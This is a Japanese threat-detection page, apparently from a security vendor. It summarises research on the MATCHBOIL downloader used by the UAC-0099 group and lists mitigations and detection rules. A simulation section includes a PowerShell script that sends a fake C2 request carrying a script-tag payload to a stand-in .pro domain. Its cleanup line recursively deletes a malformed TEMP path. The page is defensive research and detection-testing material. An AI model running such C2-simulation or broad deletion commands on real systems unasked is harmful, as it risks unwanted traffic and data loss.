MATCHBOILマルウェアキャンペーンが持続的攻撃のための新技術を導入
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
UAC-0099は、ロシアに拠点を置くAPTグループであり、2024年から2026年にかけてMATCHBOIL C#ダウンローダーを大幅に進化させました。このマルウェアは、MATCHWOKバックドアのような二次ペイロードをダウンロード、展開、および永続化を維持するために使用されます。新しいバリアントは、.NET Reactorによる強力な難読化、サンドボックス回避手法、そしてますます洗練されたC2通信方法を取り入れています。
調査
ESETの研究者は、テレメトリーとVirusTotal送信を通じて特定されたMATCHBOILバリアントの年代順分析を実施しました。この調査では、基本的なUnicode難読化から高度なコード仮想化およびGUIベースのユーザー欺瞞へのマルウェアの進展を記録しました。研究者はまた、WMIクエリ、HTTPS通信ロジック、および永続化手法を調べるためにC#コンポーネントを逆コンパイルしました。
緩和策
組織は、ユーザープロファイルディレクトリ内でのC#の不審な実行や予期しないスケジュールされたタスク、レジストリの変更を監視するべきです。エンドポイント検出は、未承認のWMIクエリや、これまでには記録されていないドメインへの異常な外部HTTPSトラフィックを特定する必要があります。また、セキュリティチームは、既知の悪意のあるファイル名や「 -auto or -plans.
」などの不審なコマンドライン引数を監視する必要があります。
MATCHBOILの活動が検出された場合、影響を受けたホストを隔離してさらなるペイロードの配信とC2通信を防ぎます。スピアフィッシングの可能性が高い初期感染ベクターを特定するために、包括的なフォレンジック調査を実行します。レジストリRunキーとスケジュールされたタスクをチェックして未承認のエントリーを確認し、MATCHWOKのような二次ペイロードのために侵害されたシステムを確認します。
攻撃フロー
この部分はまだ更新中です。
検出
可能性のある永続化ポイント [ASEPs – Software/NTUSER Hive] (registry_event経由)
LOLBAS WScript / CScript (process_creation経由)
不自然なフォルダに作成された可能性のあるWindowsライブラリ (file_event経由)
疑わしいスケジュールされたタスク (audit経由)
IOC(HashSha1)を検出する: ESET Research MATCHBOIL: 新しいトリック、同じ古い悪意のある意図
IOC(SourceIP)を検出する: ESET Research MATCHBOIL: 新しいトリック、同じ古い悪意のある意図
IOC(DestinationIP)を検出する: ESET Research MATCHBOIL: 新しいトリック、同じ古い悪意のある意図
UAC-0099 WMIシステム情報収集 [Microsoft Windows セキュリティイベントログ]
UAC-0099 MATCHBOIL コマンドとコントロール通信検出 [Windows ネットワーク接続]
シミュレーション実行
-
攻撃の流れとコマンド: 敵対者は指示を受け取ったり、追加モジュールをダウンロードするためのコマンドアンドコントロール(C2)チャネルを確立しようとします。単純なIPベースのブロックを回避するために、攻撃者は一般的なTLD(
.pro)で登録されたドメインを利用します。攻撃者はHTTPSリクエストを送り、そこでペイロードに埋め込まれた<script>ブロックを使用して悪意のある16進エンコードされた指示をWebコンテンツに偽装して配信するMATCHBOIL技術をシミュレートします。これは、ドメインベースの条件とペイロードベースの条件の両方をトリガーすることを意図しています。 -
リグレッションテストスクリプト:
# MATCHBOIL C2通信のシミュレーション # このスクリプトは、ペイロード/ボディにscriptタグを含むHTTPSリクエストを.proドメインに送信します。 $targetUrl = "https://test-matchboil-c2.pro/api/v1/update" $maliciousPayload = "<script>eval(hex_decode('414243'))</script>" try { Write-Host "[+] $targetUrl にC2通信を試行中" -ForegroundColor Cyan Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream" } catch { Write-Host "[!] リクエスト完了(ドメインが存在しない場合は失敗が予想されるが、テレメトリは依然としてキャプチャされるはずです)" -ForegroundColor Yellow } -
クリーンアップコマンド:
# スクリプトによる永続的な変更はありません。 # テスト中に作成されたローカル一時ファイルは削除されていることを確認するのみです。 Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue